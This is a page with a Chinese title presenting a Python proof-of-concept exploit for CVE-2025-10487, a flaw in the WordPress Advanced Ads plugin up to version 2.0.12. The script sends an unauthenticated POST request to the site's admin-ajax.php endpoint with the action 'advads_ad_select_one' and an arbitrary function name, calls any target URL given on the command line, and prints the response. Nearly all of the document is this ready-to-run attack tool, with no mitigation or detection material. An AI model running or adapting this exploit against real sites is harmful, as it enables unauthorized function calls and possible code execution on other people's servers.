CVE-2025-10487 WordPress Advanced Ads插件远程代码执行漏洞

import requests import sys # CVE-2025-10487 PoC - Advanced Ads Plugin Unauthorized Function Call # Target: WordPress site with Advanced Ads plugin <= 2.0.12 def exploit_cve_2025_10487(target_url, func_name='get_the_excerpt'): """ Exploit for CVE-2025-10487: Advanced Ads Plugin Remote Code execution via unauthorized AJAX endpoint function call. Args: target_url: Base URL of the WordPress site func_name: WordPress function to call (default: get_the_excerpt) Returns: Response content from the exploited endpoint """ endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" payload = { 'action': 'advads_ad_select_one', 'func': func_name } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting endpoint: {endpoint}") print(f"[*] Calling function: {func_name}") response = requests.post(endpoint, data=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)} bytes") if response.status_code == 200: print("[+] Exploit executed successfully!") print(f"[+] Response:\n{response.text[:500]}") return response.text else: print("[-] Exploit failed - check target or plugin version") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-10487.py <target_url> [function_name]") print("Example: python cve-2025-10487.py https://example.com get_the_excerpt") sys.exit(1) target = sys.argv[1] func = sys.argv[2] if len(sys.argv) > 2 else 'get_the_excerpt' exploit_cve_2025_10487(target, func)